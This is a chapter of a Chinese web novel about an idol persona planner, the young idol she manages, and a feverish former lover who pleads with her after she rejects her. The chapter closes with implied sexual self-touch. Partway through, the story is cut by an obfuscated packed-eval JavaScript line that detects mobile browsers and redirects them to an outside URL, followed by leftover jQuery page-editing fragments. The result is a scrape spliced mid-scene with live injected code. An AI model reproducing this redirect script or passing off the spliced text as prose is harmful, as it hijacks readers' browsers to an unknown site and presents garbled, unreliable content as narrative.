梅雨季就是这般惹人厌。
淅淅沥沥的雨声一瞬淹没安迟叙的耳畔。
她仿佛溺水,却不再挣扎,清眸看着不断浮沉的气泡,而她本人沉沉下坠,直到眼底只剩一束光。
晏辞微从不回避眼神。
她们认识的那一年,晏辞微就喜欢这样看着她。
那时课堂上,晏辞微坐在安迟叙身后,把她头发都数了个遍。
悄悄给她编辫子,在她背上写字……
年级前三的好学生在安迟叙身上把坏事做了个遍。
那时起安迟叙就记住了晏辞微的目光。
永远直白,复杂。
不止藏着爱恋。
安迟叙垂眸,又看了一眼晏辞微手背上的留置针。
她果然发烧了。
她不该下车,不该给自己送伞,不该淋雨。
安迟叙有许多个不该还给晏辞微,她到底什么都没说。
雨越下越大。稀里糊涂的把来参加通告的粉丝赶跑。
沈既白是个小倒霉蛋,做什么都赶不上好。
安迟叙无能为力,她阻止不了天姥的无常喜怒。
也阻止不了一场思念。
安迟叙放弃了。
“既白,准备好了吗?”她走向她该去的位置。
她要帮沈既白盘一下待会儿的表现。
“安姐姐。”沈既白看得出雀跃,脸上的光都比方才有色彩。
“有点紧张。我第一次一个人,啊不是,算是两个人吧,参加这种活动。”她不过十六岁,遇到事还不能很好的隐藏自己的情绪。
欢喜的时候,眼睛都像琥珀。
安迟叙不是没看出来。
只是沈既白年纪太小,她们关系也复杂。
她不能做戳破窗户纸的坏大人,更给不了沈既白想要的爱,只能等待少年的憧憬消失。
“有安排我做什么吗?”她对人设的理解还停留在上面的安排呢。
安迟叙原本准备好了方案。
活动现场,沈既白该说什么去维持她的人设,做什么让粉丝相信她是叛逆的酷小孩,是她们没能做到的自己。
活动的每一个细节都有预设。就连带头起哄的粉丝,发问的粉丝,都是公司安排好的演员。
真正的粉丝太不可控。公司迂腐的高层讨厌这种不可控的感觉。
安迟叙对上沈既白带着虹彩的眼,去拿方案的手忽然顿住。
公司的安排不合理。
安迟叙早就知道这一点。
有的人对扮演人设适应的很好,譬如裴落尘,台上台下完全两模两样。
她把疏离清冷的那一面刻在表皮上,真实的随意轻佻永远不会被影响。
有的人把人设融入自己的一部分。
周妍西是害羞温柔的人设,演久了,现实生活里也变成那副稍带怯懦的可怜模样。
但沈既白和她们不一样。
沈既白不是一个好演员。她热情努力,却理解不了人设的精髓,只会照着自己给的文字说明去做。
所以,有必要听从公司的安排吗?
安迟叙向右瞥了一眼。阴影里,她最熟悉的轮廓若隐若现,一点光悄悄抵达她身上,抓着她。
像牵引、控制,晏辞微总在做的事。
……也像鼓励。
安迟叙把手收了回来。
“沈既白。”安迟叙掌上少年的肩膀。
曾经没有人对她说过这句话。她最爱的人消磨了她的勇气和自我。
十年后,她只能以这样的方式提醒过去的自己。
“做自己吧。”这是她这次留给沈既白的唯一人设。
沈既白惊诧抬头,嘴都张大了。
“去做你想做的事。说你想说的话吧。你不是一直想感谢那几个每次都来看你的粉丝吗?还给她们写了回信。去告诉她们你的想法吧。”
安迟叙说这番话的时候神情好不一样。
沈既白痴望着安迟叙,觉着她周身的光晕又扩大了一点,刺目到她有些不敢直视了。
“可,可是安姐。”沈既白收回眼神,下意识为惯性辩护。
“要是失败了怎么办?万一她们不喜欢我这样呢?”
安迟叙没法为她保证。爱豆的做自己和她的到底不一样。
作为成年人的安迟叙能承受一次工作的失败。
可十六岁的沈既白能承受偏离设定后的反噬吗?
“那,这是备案。”安迟叙还是把她准备的稿子拿了出来。
没有人可以一步脱离过去,二十五岁的安迟叙也不行。
把她的理想加在小妹妹身上还是太沉重了。
她的自救不该和旁人有关。
安迟叙没再多说。
沈既白去旁边背稿子,背得挺痛苦。
人设和她本人差距太大了,她其实早就对这个人设不满了。
上一任人设策划师在位的时候,沈既白要花比队友多几倍的时间去琢磨这份人设,去排练,极大的影响了她对自己专业的练习,唱跳水平有所下滑,人气掉的更厉害。
所以那位人设策划师被调走了。安迟叙来之后,沈既白的日子好过了不少。
只有安迟叙会接触她,了解她的习惯、喜好,依照她的真实,去构筑她的面具。
只是,就算这么痛苦,沈既白也没有想过脱离人设,展现真实的自我。
接下来的事和安迟叙无关了。
她侧头想要寻找晏辞微,忽然发现那道落在她身上的目光不知何时消失了。
走了?
安迟叙眉心微蹙,不过一呼吸,又把这件事放下。
还是看看沈既白怎么选吧。
***
“她算什么?和她关系很好吗?她的喜欢看不出来吗?”
安迟叙只是想去个卫生间,就听见了熟悉的声音。
怪酸的。印象里的晏辞微永远胸有成竹,有尽在掌控的张扬和清爽的谦逊。
安迟叙有太久没有听过这样的语气,尘封的记忆有些松动。
她呼吸也停了一秒,没多纠结,走向晏辞微在的角落。
“你没走啊。”就好像没有戳穿晏辞微在背后说坏话的自觉。安迟叙的语气平静如常。
倒是晏辞微被抓包之后,耳根都红成甜芭乐了。
嘴唇咬着,眼角莫名出了滴泪。
她迅速把手里的东西藏在了身后。
安迟叙视线被她动作吸引,就看见了一团棉絮,似乎是一只被扎破的布娃娃。
晏辞微这是在……扎她的布娃娃泄愤?
安迟叙不太明白晏辞微的举动,干脆无视了她的异常。
晏辞微调整的很快。不过一瞬,除去眼底的泪雾,她已然恢复成安迟叙熟悉的模样。
“团团,你找我吗?”这会儿安迟叙才听出来,晏辞微声音有点哑。
她还贴着退烧贴,挂着留置针呢。
发了烧还要来这么多人的地方。安迟叙眼底的波光闪了下。
“是找你。”安迟叙摇头,拿出随身带的口罩,递给晏辞微。
晏辞微下意识接过,而后懊恼。
多好的机会,她该低头,让安迟叙给她戴口罩的。
“你待会儿还在这里吗?”安迟叙看着晏辞微戴好口罩。
被她藏起来的那只布娃娃已经消失了。
晏辞微只剩发烧的脆弱,眼底的水雾散不掉,呼吸带着咳嗽的轻.喘。
“你想我在哪里呢?”她的声音隔着口罩传来,闷闷的。
好像她们之间隔了浓厚的雾。安迟叙甚至有些看不清晏辞微的脸。
那张久违的脸上带着的,依旧是爱恋的笑意吗?
晏辞微难道没有一丝思念的酸楚,分离的疼痛?
安迟叙别开眼神。
“你……在这里也行。”本来想让晏辞微定的。
又下意识把决定权交给晏辞微了。安迟叙微恼,眉心皱得漂亮。
“等我一刻钟。”安迟叙说罢便离开了,也没有交代她要做什么。
晏辞微默默注视着安迟叙离去。瞧着她诱人的背影,心弦颤动。
只有安迟叙可以这样对待她。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15866416|176156||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
抛弃或不语。
而她在痛苦里甘之如饴。
……
安迟叙真的回来了。
她带着药,还有一个保温杯走向晏辞微。
晏辞微就像她乖巧的娃娃,整个十二分钟里一步都没有动,睫毛都保持低垂的状态,沾着未干的泪珠。脸颊还有些绯色,被口罩遮了一半。
看见安迟叙来,她扬起眼,眸月跟花瓣一样可爱。
“团团。”晏辞微的喜悦也盖不住。
她好像还是十五六岁的小姑娘,看见心上人,无形的毛绒尾巴摇晃成影。
安迟叙把药递到晏辞微手里,扭开保温杯盖。
是一碗热姜糖水。
晏辞微都不知道安迟叙如何在短短一刻钟里准备这么多。
这是近期最好的事。晏辞微努力放慢眨眼的频率,想把她们的时间拉长。
“喝点吧。”安迟叙把杯口送到晏辞微眼前。
晏辞微拉下口罩低头。“想要团团喂我。”
她是挺不要脸的。
安迟叙了解她,哂笑一声。
“晏辞微。”她没有做那么暧昧的举动。一只保温杯稳稳落在晏辞微掌心。
“我是觉得,你病成这样,我也有责任。”并不是想要重新接纳她。
安迟叙的眼眸带着一丝笑意。
晏辞微怔怔看了好一会儿才品出来,那不是喜悦也不是动心。
是讥讽。
她把姜糖水慢慢咽下去,明明是她最喜欢的甜度,姜味却又辣又呛,刺激得她浑身发热。
“你让我恨你。”安迟叙默了好久,才靠在她身边,缓缓开口。
晏辞微的头脑提前一步产生嗡鸣。
她想要阻止安迟叙继续,却无力做到。
“我试了,但我做不到。”安迟叙说罢看向晏辞微。
她的眼里没有恨。恨晏辞微不能让她产生快.感。
却也没有爱。
十六岁的安迟叙早被时间埋葬。
她们不该再有关系了。
晏辞微眸光颤动着,是一场地震。
眼底已经天崩地裂,泪是海啸,快要扑出来。
面上,只有牙齿微微颤抖。
她开口想要说什么。
安迟叙来恨她吧。来伤害她,刺痛她,骂她打她。
她求求安迟叙……
晏辞微最终只是嚅喏着,咬痛嘴唇。
安迟叙看见了一切,心有愧疚,所以抚摸晏辞微。
不愿再有牵扯,她仅仅抚上晏辞微的手背。
“那回来爱我。”晏辞微急匆匆的开口,想要抓住安迟叙的手。
“我需要你,团团,我……”晏辞微对上安迟叙的眼。
淡漠的委婉拒绝将晏辞微扑灭。
她们对视了太久,久到保温杯盖里剩的姜糖汤彻底冷却。
安迟叙终于在晏辞微落泪前收回眼神。
“照顾好自己。”安迟叙离开了。
头也不回,和那夜骤雨一样。
离别也是骤雨。晏辞微终究没能阻止。
心上人的身影彻底消失在喧嚣里,晏辞微狼狈咬破嘴唇,眼泪哗啦冲淡血色。
口罩被她扯下,想丢又舍不得,珍惜的叠好藏进衣兜。
晏辞微把手上的留置针扯掉。
疼痛让她找回自我。
持续走高的体温让她心跳加速。
血液被一碗姜汤翻覆,滚烫成熔岩。
晏辞微滑落在地上,埋着头掩盖豆大的泪,和身下的狼藉。
她告诉不了任何人。
分开的这两天,高烧的这两天。
她的情绪近乎崩溃。
每天看着那个网友发视频,和猫亲密互动。
她把对方当成安迟叙,敷衍回复,心绪发狂,醋酸打翻满堂。
是情绪冲着感冒愈演愈烈。
她最思念安迟叙的时候,只能借助自己的抚摸,想象。
高烧不退。
她的心,也发了烧。
犹如一场大水降临在裙摆之间。